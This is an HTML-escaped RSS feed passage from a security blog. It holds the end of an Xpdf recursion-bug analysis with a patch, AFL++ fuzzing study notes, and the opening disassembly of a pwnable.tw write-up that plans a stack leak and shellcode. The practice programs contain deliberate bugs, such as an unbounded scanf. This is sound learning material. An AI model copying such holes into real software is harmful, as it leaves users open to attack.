&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;继续往下走，我们会进入 &lt;code&gt;else if (obj.isArray())&lt;/code&gt; 这个分支：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.232e63urjn.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;回顾最开始的递归链，我们知道程序是执行完 &lt;code&gt;Object::arrayGet -&amp;gt; Array::get&lt;/code&gt; 后反回到 fetch，再次获取 &lt;code&gt;(objNum=7, objGen=0)&lt;/code&gt; 导致无限递归的。我们步入这个函数看看当前 for 循环在 &lt;code&gt;i = 0&lt;/code&gt; 的时候拿到了什么：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8z71qb2lmp.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.5q7xtnms1m.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.32ihjaovcy.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;我们发现它确实按照我们预期的那样，获取到了数组索引为 &lt;code&gt;0&lt;/code&gt; 的元素，由于类型为 &lt;code&gt;objName&lt;/code&gt;，所以之后会进入 &lt;code&gt;if (obj2.isName())&lt;/code&gt; 这个分支，而又因为 &lt;code&gt;Object&lt;/code&gt; 内部其实是一个 &lt;code&gt;tagged union&lt;/code&gt;，所以 &lt;code&gt;obj2.getName()&lt;/code&gt; 获取到的值为 &lt;code&gt;ASCII85Decode&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;再次回顾一开始的递归调用链，我们注意到造成 &lt;code&gt;Array::get&lt;/code&gt; 后返回到 fetch 再次获取到 &lt;code&gt;(objNum=7, objGen=0)&lt;/code&gt; 的索引是 &lt;code&gt;i = 2&lt;/code&gt;，直接 &lt;code&gt;b Array::get if i == 2&lt;/code&gt; 后跳过去看，确实获取到了 &lt;code&gt;7 0 R&lt;/code&gt;：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.et18z29m0.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;最后，返回到 &lt;code&gt;Object::fetch&lt;/code&gt; 后由于 &lt;code&gt;type == objRef &amp;amp;&amp;amp; xref&lt;/code&gt; 成立，导致再次 fetch 了 &lt;code&gt;(objNum=7, objGen=0)&lt;/code&gt;，如此循环，陷入无限递归，最终耗尽了栈空间，BOOM!&lt;/p&gt;
&lt;p&gt;&amp;lt;cneter&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7zqyd6zegp.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/cneter&amp;gt;&lt;/p&gt;
&lt;h1&gt;Fix&lt;/h1&gt;
&lt;p&gt;查询规格文档，我们发现 Filter 的值只能是 Name 或 Name 数组，那就很好解决了。&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2oc1tajc0o.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;我们可以直接禁止 Filter 中出现 Indirect Reference，或者检测 Stream 自引用等……出于性能考虑，我选择直接挡 &lt;code&gt;objRef&lt;/code&gt; 类型：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Stream *Stream::addFilters(Object *dict) {
  Object obj, obj2;
  Object params, params2;
  Stream *str;
  int i;

  str = this;
  dict-&amp;gt;dictLookup(&quot;Filter&quot;, &amp;amp;obj);
  if (obj.isNull()) {
    obj.free();
    dict-&amp;gt;dictLookup(&quot;F&quot;, &amp;amp;obj);
  }
  dict-&amp;gt;dictLookup(&quot;DecodeParms&quot;, &amp;amp;params);
  if (params.isNull()) {
    params.free();
    dict-&amp;gt;dictLookup(&quot;DP&quot;, &amp;amp;params);
  }
  if (obj.isName()) {
    str = makeFilter(obj.getName(), str, &amp;amp;params);
  } else if (obj.isArray()) {
    for (i = 0; i &amp;lt; obj.arrayGetLength(); ++i) {
      obj.arrayGetNF(i, &amp;amp;obj2);
      if (params.isArray())
        params.arrayGet(i, &amp;amp;params2);
      else
        params2.initNull();
      if (obj2.isRef()) {
        error(getPos(), &quot;Indirect reference is not allowed in Filter&quot;);
        str = new EOFStream(str);
        obj2.free();
        params2.free();
        break;
      }
      if (obj2.isName()) {
        str = makeFilter(obj2.getName(), str, &amp;amp;params2);
      } else {
        error(getPos(), &quot;Bad filter name&quot;);
        str = new EOFStream(str);
      }
      obj2.free();
      params2.free();
    }
  } else if (!obj.isNull()) {
    error(getPos(), &quot;Bad &apos;Filter&apos; attribute in stream&quot;);
  }
  obj.free();
  params.free();

  return str;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到，我们成功将无限递归扼杀在了摇篮里 xD&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img
src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1ovyg62sie.avif&quot;
alt=&quot;&quot;
/&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
</content:encoded></item><item><title>The Fuzzy Notebook</title><link>https://cubeyond.net/posts/fuzz/aflplusplus/</link><guid isPermaLink="true">https://cubeyond.net/posts/fuzz/aflplusplus/</guid><description>AFL++ learning notes.</description><pubDate>Sat, 07 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Prologue&lt;/h1&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6ikt5mc3b5.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;次日，群名从 &lt;code&gt;Pwn Squad&lt;/code&gt; 变成了 &lt;code&gt;Lost Squad&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.mlder7db.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;我们不知道这是否是更好的选择，但我想，我们绝不差尝试的勇气。&lt;/p&gt;
&lt;p&gt;:::note
由于是直接上手用 fuzzer，边做边学，所以肯定会漏掉很多重要的概念，算是比较冒险的学习方法了。不过没事，后面慢慢总结。
:::&lt;/p&gt;
&lt;h1&gt;Concept&lt;/h1&gt;
&lt;p&gt;以下概念翻译自 &lt;a href=&quot;https://aflplus.plus/docs/faq/&quot;&gt;Frequently asked questions (FAQ)&lt;/a&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;程序包含 &lt;strong&gt;函数 (Function)&lt;/strong&gt;，而函数包含编译后的机器码。&lt;/li&gt;
&lt;li&gt;函数中的机器码可以由一个或多个 &lt;strong&gt;基本块 (Basic Block)&lt;/strong&gt; 组成。&lt;/li&gt;
&lt;li&gt;基本块是尽可能长的连续机器指令序列，它只有一个 &lt;strong&gt;入口点 (Entry Point)&lt;/strong&gt;（可被多个其它基本块进入），且在执行过程中线性运行，除了末尾外，不会发生分支或跳转到其它地址。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;下面的 &lt;strong&gt;A&lt;/strong&gt;、&lt;strong&gt;B&lt;/strong&gt;、&lt;strong&gt;C&lt;/strong&gt;、&lt;strong&gt;D&lt;/strong&gt;、&lt;strong&gt;E&lt;/strong&gt; 都是基本块：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function() {
  A:
    some
    code
  B:
    if (x) goto C; else goto D;
  C:
    some code
    goto E
  D:
    some code
    goto B
  E:
    return
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;边 (Edge)&lt;/strong&gt; 则表示两个直接相连的基本块之间的唯一关系，自环也算一条边：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;              Block A
                |
                v
              Block B  &amp;lt;------+
            /        \       |
            v          v      |
        Block C    Block D --+
            \
              v
              Block E
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Demo&lt;/h1&gt;
&lt;p&gt;以下面这个程序为例，感受一下 Fuzz 的基本用法及其思想。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;

int isBigPrime(int n) {
  if (n &amp;lt;= 5)
    return 0;
  for (int i = 2; i * i &amp;lt;= n; i++)
    if (n % i == 0)
      return 0;
  return 1;
}

int main(void) {
  char s[35];
  scanf(&quot;%s&quot;, s);

  char cnt[300] = {0};

  for (int i = 0; s[i]; i++) {
    cnt[s[i]]++;
    if (s[i] &amp;lt; &apos;x&apos; || s[i] &amp;gt; &apos;z&apos;) {
      puts(&quot;unacceptable&quot;);
      return 0;
    }
  }

  if (isBigPrime(cnt[&apos;x&apos;]) &amp;amp;&amp;amp; isBigPrime(cnt[&apos;y&apos;]) &amp;amp;&amp;amp; isBigPrime(cnt[&apos;z&apos;]))
    abort();

  puts(&quot;Nice string&quot;);

  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;程序逻辑为：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;输入限制&lt;/strong&gt;：程序只接受由字符 &lt;code&gt;x&lt;/code&gt;，&lt;code&gt;y&lt;/code&gt;，&lt;code&gt;z&lt;/code&gt; 组成的字符串。如果包含其他字符，程序会输出 unacceptable 并正常退出&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;计数统计&lt;/strong&gt;：使用 &lt;code&gt;cnt&lt;/code&gt; 数组统计输入字符串中 &lt;code&gt;x&lt;/code&gt;，&lt;code&gt;y&lt;/code&gt;，&lt;code&gt;z&lt;/code&gt; 各自出现的次数&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;触发崩溃&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;isBigPrime&lt;/code&gt; 函数检查一个数是否为大于 5 的质数 (e.g. 7, 11, 13, 17 etc.)&lt;/li&gt;
&lt;li&gt;只有当 &lt;code&gt;x&lt;/code&gt;、&lt;code&gt;y&lt;/code&gt; 以及 &lt;code&gt;z&lt;/code&gt; 的数量同时都是大于 5 的质数时，程序才会执行 &lt;code&gt;abort&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;额外 Bug&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;scanf&lt;/code&gt; 没有限制输入长度，存在栈溢出&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;根据 &lt;a href=&quot;https://github.com/AFLplusplus/AFLplusplus/blob/stable/docs/fuzzing_in_depth.md#a-selecting-the-best-afl-compiler-for-instrumenting-the-target&quot;&gt;Selecting the best AFL++ compiler for instrumenting the target&lt;/a&gt; 的指引，我们选择 &lt;code&gt;afl-clang-lto&lt;/code&gt; 作为 &lt;strong&gt;插桩 (Instrumentation)&lt;/strong&gt; 用的编译器。&lt;/p&gt;
&lt;p&gt;使用如下指令编译并插桩：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;afl-clang-lto ./test.c -o test
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来，只要提供一些初始样本，放入 &lt;code&gt;inputs&lt;/code&gt; 文件夹，比如我提供了这些样本：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;λ ~/Projects/Fuzz/ cat inputs/text/*
aaaabaaacaaadaaaeaaa
helloworld
Hello world!
ahfoer
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;它们本身没有一个会让程序崩溃，我们希望 AFL++ 能自己变异这些样本，寻找到每一个能让程序崩溃的输入。&lt;/p&gt;
&lt;p&gt;由于 Arch 默认配置的问题，我需要临时关闭一些选项以确保 fuzzer 高效运行，为了方便，我直接使用如下指令自动修改系统配置（虽然这可能会造成一些安全隐患）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo afl-system-config
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后就可以使用以下指令来探索程序了：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;afl-fuzz -i inputs -o out/ -- ./test
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;刚跑几秒就出了 6 个 crash，但是全都是栈溢出，之后大概在 1min 左右，把 abort 的 crash 路径也找到了，可以看到是第九个样本：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.41ykrv2y1c.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.pfuxhp6cy.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;可以在 &lt;code&gt;out/default/crashes&lt;/code&gt; 中找到这 10 个可以触发崩溃的输入。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;check&lt;/code&gt; 脚本如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env bash

for f in out/default/crashes/id:*; do
  echo &quot;==== $f ====&quot;
  # hexdump -C &quot;$f&quot; | head
  ./test &amp;lt;&quot;$f&quot;
done
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Fuzzing-Module&lt;/h1&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/alex-maleno/Fuzzing-Module&quot;&gt;Fuzzing-Module&lt;/a&gt; 是 AFL++ 官方&lt;a href=&quot;https://github.com/AFLplusplus/AFLplusplus?tab=readme-ov-file#tutorials&quot;&gt;推荐&lt;/a&gt;的纯新手练习。一共 3 个 exercises，speedrun 一下。&lt;/p&gt;
&lt;h2&gt;Exercise 1&lt;/h2&gt;
&lt;p&gt;程序源码如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

using namespace std;

int main() {

  string str;

  cout &amp;lt;&amp;lt; &quot;enter input string: &quot;;
  getline(cin, str);
  cout &amp;lt;&amp;lt; str &amp;lt;&amp;lt; endl &amp;lt;&amp;lt; str[0] &amp;lt;&amp;lt; endl;

  if (str[0] == 0 || str[str.length() - 1] == 0) {
    abort();
  } else {
    int count = 0;
    char prev_num = &apos;x&apos;;
    while (count != str.length() - 1) {
      char c = str[count];
      if (c &amp;gt;= 48 &amp;amp;&amp;amp; c &amp;lt;= 57) {
        if (c == prev_num + 1) {
          abort();
        }
        prev_num = c;
      }
      count++;
    }
  }

  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用 &lt;code&gt;CC=afl-clang-lto CXX=afl-clang-lto++ cmake -S . -B build&lt;/code&gt; 生成编译配置，然后通过 &lt;code&gt;cmake --build build&lt;/code&gt; 编译项目。&lt;/p&gt;
&lt;p&gt;简单分析一下几个可以造成 crash 的地方，然后跑一下 fuzz 看看能不能对上：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;str[0] == \x00&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;str[str.length() -1] == \x00&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;下一个读取到的数字比上一个读取到的数字大一&lt;/li&gt;
&lt;li&gt;&lt;code&gt;\n&lt;/code&gt;，&lt;code&gt;EOF&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3ns513tseu.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;根据 Exercise 1 的要求，我们使用如下脚本生成 5 个 seeds：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env bash

mkdir seeds
for i in {0..4}; do
  dd if=/dev/urandom of=seeds/seed_&quot;$i&quot; bs=64 count=10
done
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后跑 &lt;code&gt;afl-fuzz -i seeds -o out/ -m 0 -- ./build/simple_crash&lt;/code&gt;，刚跑一秒就把三个 crash 都找到了：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.et14gm2kg.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;可以看到第一个对上了 Case 2，第二个对上了 Case 1，第三个对上了 Case 3。&lt;/p&gt;
&lt;p&gt;:::important
第四个 Case 找不到，那时因为当触发的 crash 是由 Undefined Behaviour 导致时，AFL++ 会认为它比较 flaky，自动把它剔除掉。因为 UB 一类的，可能在不同编译 / 优化 / 运行中表现各不相同，从而不能产生一种稳定可复现的 crash 。&lt;/p&gt;
&lt;p&gt;既然如此，我们只要增强它的 crash 表现，使其更加可确定即可，比如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (str.length() == 0)
  abort();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;亦或者，我们打开 Sanitizer，这样就可以将语言层面的未定义行为变成 fuzzer 能稳定识别的崩溃信号了。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env bash

cmake -S . -B build \
  -DCMAKE_C_COMPILER=afl-clang-lto \
  -DCMAKE_CXX_COMPILER=afl-clang-lto++ \
  -DCMAKE_C_FLAGS=&quot;-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined&quot; \
  -DCMAKE_CXX_FLAGS=&quot;-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;通过上面的指令生成编译配置，开启 &lt;strong&gt;AddressSanitizer (ASan)&lt;/strong&gt; 和 &lt;strong&gt;UndefinedBehaviorSanitizer (UBSan)&lt;/strong&gt;，然后跑 fuzz 前设置一下这两个环境变量：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export ASAN_OPTIONS=abort_on_error=1:symbolize=0:detect_leaks=0
export UBSAN_OPTIONS=abort_on_error=1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;debug 时使用：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export ASAN_OPTIONS=abort_on_error=1:symbolize=1:detect_leaks=0
export UBSAN_OPTIONS=abort_on_error=1:print_stacktrace=1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;h2&gt;Exercise 2&lt;/h2&gt;
&lt;p&gt;没啥崩溃点，只有这一个 abort, 输入 &lt;code&gt;ffl&lt;/code&gt; 即可触发。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;} else if (input[i] == &apos;l&apos;) {
    if (crew.num == 0) {
        abort();
    }
    land();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我使用的 input 是随机生成的 200 字节长 De Bruijn Sequence，实际上沿用 Exercise 1 的 seeds 应该也可以。&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.58hw1s7oeh.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;观察跑出来的几个 crashes, 发现全都符合 &lt;code&gt;ffl&lt;/code&gt; 的行为，多的 &lt;code&gt;f&lt;/code&gt; 被 &lt;code&gt;h&lt;/code&gt; 抵消。&lt;/p&gt;
&lt;h2&gt;Exercise 3&lt;/h2&gt;
&lt;p&gt;代码太多就不放了，简单罗列一下 abort points:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;choose_color&lt;/code&gt;: 输入纯数字&lt;/li&gt;
&lt;li&gt;&lt;code&gt;min_alt&lt;/code&gt;: 输入小于 0&lt;/li&gt;
&lt;li&gt;&lt;code&gt;min_airspeed&lt;/code&gt;: 输入小于 0&lt;/li&gt;
&lt;li&gt;&lt;code&gt;fuel_cap&lt;/code&gt;: 输入小于 0&lt;/li&gt;
&lt;li&gt;&lt;code&gt;check_alt&lt;/code&gt;: 传入 &lt;code&gt;alt&lt;/code&gt; 小于 0&lt;/li&gt;
&lt;li&gt;&lt;code&gt;check_fuel&lt;/code&gt;: 传入 &lt;code&gt;fuel&lt;/code&gt; 小于 0&lt;/li&gt;
&lt;li&gt;&lt;code&gt;check_speed&lt;/code&gt;: 传入 &lt;code&gt;speed&lt;/code&gt; 小于 0&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这里的话，我遵循提示，在 &lt;code&gt;cmake&lt;/code&gt; 创建配置文件的时候多加了一个 &lt;code&gt;-DCMAKE_EXPORT_COMPILE_COMMANDS=1&lt;/code&gt; 参数，用于生成编译命令到 &lt;code&gt;compile_commands.json&lt;/code&gt;，并尝试使用 &lt;a href=&quot;https://github.com/CoatiSoftware/Sourcetrail&quot;&gt;Sourcetrail&lt;/a&gt; 来阅读源码。但是发现用这个工具还不如我直接在 nvim 里面看代码来得快……或许以后分析很大的项目时可以再试试。&lt;/p&gt;
&lt;p&gt;这节练习给了这么一个 template：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/*
 * This file isolates the Specs class and tests out the
 * choose_color function specifically.
 */

#include &quot;specs.h&quot;

int main(int argc, char **argv) {
  // In order to call any functions in the Specs class, a Specs
  // object is necessary. This is using one of the constructors
  // found in the Specs class.
  Specs spec(505, 110, 50);
// By looking at all the code in our project, this is all the
// necessary setup required. Most projects will have much more
// that is needed to be done in order to properly setup objects.

// This section should be in your code that you write after all the
// necessary setup is done. It allows AFL++ to start from here in
// your main() to save time and just throw new input at the target.
#ifdef __AFL_HAVE_MANUAL_CONTROL
  __AFL_INIT();
#endif

  spec.choose_color();
  // spec.min_alt();

  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们可以通过定义 &lt;code&gt;__AFL_HAVE_MANUAL_CONTROL&lt;/code&gt; 来设置 fuzz 入口。&lt;/p&gt;
&lt;p&gt;先测试 &lt;code&gt;choose_color&lt;/code&gt;，如果输入纯数字就会崩：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.4qrudewa3s.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;但这里多了一个 &lt;code&gt;\x20&lt;/code&gt;，即空格导致的崩溃，是我没想到的，研究研究。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;std::cin &amp;gt;&amp;gt; color;
if (isNumber(color))
  abort();

bool Specs::isNumber(std::string str) {
  for (int i = 0; i &amp;lt; str.length(); i++) {
    if (isdigit(str[i]) == 0)
      return false;
  }
  return true;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;choose_color&lt;/code&gt; 是用 &lt;code&gt;cin &amp;gt;&amp;gt;&lt;/code&gt; 读取的输入，由于 &lt;code&gt;&amp;gt;&amp;gt;&lt;/code&gt; 的逻辑是先跳过所有 spaces，然后从第一个非空字符读取到下一个 space 停止，所以输入 &lt;code&gt;\x20&lt;/code&gt; 的话，什么都不会读到，导致 &lt;code&gt;color = &quot;&quot;&lt;/code&gt;，for 循环根本不会进入，返回 true 导致崩溃。&lt;/p&gt;
&lt;p&gt;其它的没啥好说的，但是在 slice fuzz &lt;code&gt;min_airspeed&lt;/code&gt; 的时候发现 &lt;code&gt;exec speed: 55.54/sec&lt;/code&gt;，简直是在拿显微镜扫地 o_O&lt;/p&gt;
&lt;p&gt;究其原因的话，可能是因为 fuzzer 计算 exec 是按处理完一整轮来算的，可是现在这个情况内部有一个循环，可能触发多次输入，所以如果输入样本很大的话，就会处理很久。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void Specs::min_airspeed() {
  bool out_of_bounds = true;
  std::cout &amp;lt;&amp;lt; &quot;enter aircraft minimum airspeed: &quot;;
  std::cin &amp;gt;&amp;gt; speed;
  do {
    out_of_bounds = false;
    if (speed &amp;lt; 0)
      abort();
    if (speed &amp;lt; 100) {
      std::cout &amp;lt;&amp;lt; &quot;too low. please re-enter: &quot;;
      std::cin &amp;gt;&amp;gt; speed;
      out_of_bounds = true;
    } else if (speed &amp;gt; 200) {
      std::cout &amp;lt;&amp;lt; &quot;too high. please re-enter: &quot;;
      std::cin &amp;gt;&amp;gt; speed;
      out_of_bounds = true;
    }
  } while (out_of_bounds);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里发现第二个 crash 有点奇怪：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8vnfprhcx0.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;这是因为 &lt;code&gt;&amp;gt;&amp;gt;&lt;/code&gt; 在读取数字的时候也有特殊的规则，它会自动拆分数字。即 &lt;code&gt;1-3113\x09&lt;/code&gt; 被拆分为 &lt;code&gt;1&lt;/code&gt; 和 &lt;code&gt;-3113&lt;/code&gt; 两部分，被拆开的那部分会留在输入缓冲区等待下一次读取的时候发出去，所以这里触发的逻辑是先判断 &lt;code&gt;speed &amp;lt; 100&lt;/code&gt; 重新读取，然后发送负数触发 abort 。&lt;/p&gt;
&lt;p&gt;最后还剩下三个 check 函数我没测，因为它们相对前面几个来说更吃运气一点，感觉有点浪费时间，就且先跳过了。&lt;/p&gt;
&lt;h1&gt;Fuzzing101&lt;/h1&gt;
&lt;p&gt;下面是我做过的 &lt;a href=&quot;https://github.com/antonio-morales/Fuzzing101&quot;&gt;Fuzzing101&lt;/a&gt; Exercises 导航列表：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;/posts/fuzz/xpdf-cve-2019-13288/&quot;&gt;Exercise 1 - Xpdf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/posts/fuzz/libexif/&quot;&gt;Exercise 2 - libexif&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/posts/fuzz/tcpdump-cve-2017-13028/&quot;&gt;Exercise 3 - TCPdump&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/posts/fuzz/libtiff-cve-2016-9297/&quot;&gt;Exercise 4 - LibTIFF&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/posts/fuzz/libxml2-cve-2017-9048/&quot;&gt;Exercise 5 - libxml2&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Write-ups: Pwnable.tw</title><link>https://cubeyond.net/posts/write-ups/pwnable-tw/</link><guid isPermaLink="true">https://cubeyond.net/posts/write-ups/pwnable-tw/</guid><description>Write-ups for pwnable.tw binary exploitation series.</description><pubDate>Fri, 06 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Start&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Don&apos;t know how to start?&amp;lt;br /&amp;gt;
Check GEF 101 - Solving pwnable.tw/start by @_hugsy&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;熟悉又陌生？没错你被骗了。&lt;/p&gt;
&lt;p&gt;保护全关，泄漏栈地址打 shellcode 。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;_start
_start      ; Segment type: Pure code
_start      ; Segment permissions: Read/Execute
_start      _text segment para public &apos;CODE&apos; use32
_start      assume cs:_text
_start      ;org 8048060h
_start      assume es:nothing, ss:nothing, ds:LOAD, fs:nothing, gs:nothing
_start
_start
_start
_start      ; int start()
_start      public _start
_start      _start proc near
_start      push    esp
_start+1    push    offset _exit
_start+6    xor     eax, eax
_start+8    xor     ebx, ebx
_start+A    xor     ecx, ecx
_start+C    xor     edx, edx
_start+E    push    3A465443h
_start+13   push    20656874h
_start+18   push    20747261h
_start+1D   push    74732073h
_start+22   push    2774654Ch
_start+27   mov     ecx, esp        ; addr
_start+29   mov     dl, 14h         ; len
